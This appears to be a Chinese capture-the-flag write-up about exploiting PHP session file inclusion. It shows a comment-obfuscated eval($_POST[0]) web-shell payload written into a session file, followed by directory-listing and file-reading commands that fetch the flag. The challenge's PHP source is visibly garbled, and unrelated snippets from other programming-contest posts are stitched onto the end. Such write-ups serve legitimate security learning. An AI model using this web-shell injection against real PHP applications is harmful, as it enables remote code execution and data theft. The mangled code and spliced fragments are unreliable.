這題考察的是session檔案包含來獲取flag。因為可以用偽協議讀取相關的所有檔案,所以建議在本地復現一下,可以更好的理解。
<?php
header()
;session_start()
;function
safe
($msg
)else}if
(!isset
($_session
['msg'])
&empty
($_session
['msg'])
)$_session
['msg']=
array()
;if(isset
($_post
['msg'])
)if(!
empty
($_session
['msg'])
)else
?>
注意到session_start(),而且有:
if
(isset
($_post
['msg'])
)
windows:
c:\windows\temp
經過嘗試,在發現session在/tmp裡。session檔案的名字是sess+phpsessid。比如phpsessid=4oukbd8g5jj68pqb6f4h3567g3,那麼session檔案的名字是sess_4oukbd8g5jj68pqb6f4h3567g3
接下來就是怎麼把語句寫到session裡了。如果要理解好這個的話,最好在本地搭個環境,嘗試往session裡寫點東西,來看看你寫的東西進入session裡後到底是什麼樣的。自己嘗試過,就懂了。
這裡直接構造:
<?php
/**/eval/**/(
$_post[0
])/**/;/
*
寫4次,最後通過post把語句進行注入,在列目錄的時候有2種方式:
0
=print_r
(glob
('/*'))
;0=print_r
(scandir
('/'))
;
這也是新姿勢了,自己之前真的是除了ls就不會其他查目錄的函式了。
查到flag所在檔案的的名字之後,直接獲取內容就可以了:
0
=var_dump
(file_get_contents
('/fiag_!s_it'))
;
成功得到flag. 西北工業大學複試上機題2019 3
題目描述 判斷ip位址是否合法,n行,以字串形式輸入,格式為a.b.c.d,每個均為整數,輸出判斷是否為有效ip,每個數均在 0,255 之間。是輸出yes否no 輸入樣例 2 1.2.3.4 172.168.0.300 輸出 yes no include include include using...
2023年西北工業大學 D 玩具
題目在這裡 題目 這道題讀來感覺很難,也確實有一種相對應的的正解 我覺得是權值線段樹,可惜我不會 在仔細讀題發現這道題的真正意思其實就是把整個陣列當做乙個區間,裡面的區間就是他的子區間,在一定程度上可以認為母區間的出現次數最多的數,在一些子區間裡也是出現次數最多的數 也就是我們常數的一列數字的眾數 ...
2020西北工業大學冬季選拔賽
心路歷程 一開始把簽到的題目ac了,然後幹a題,好傢伙,到比賽結束都沒有人ac掉a題qwq,1h過去了 然後是h題,這題還比較好過一點,然後又成功卡在了f題,我在題意上卡了好久 賽去打了場球後再看才明白在問什麼qwq 總的來說,題目質量極佳,可惜就是我太菜 比賽鏈結 題解的鏈結 dalao的題解 誰...